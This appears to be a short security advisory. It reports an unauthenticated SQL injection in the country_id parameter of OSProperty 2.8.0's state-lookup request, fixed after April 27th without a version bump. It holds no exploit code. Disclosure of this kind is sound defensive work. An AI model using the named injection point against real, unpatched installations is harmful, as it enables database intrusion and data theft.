OS Solution OSProperty 2.8.0 SQL Injection

`OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL  
injection in the country_id parameter of the request made to retrieve a  
list of states for a given country. The version was not bumped when the  
vulnerability was fixed, but if you download after April 27th, you  
downloaded a fixed version.
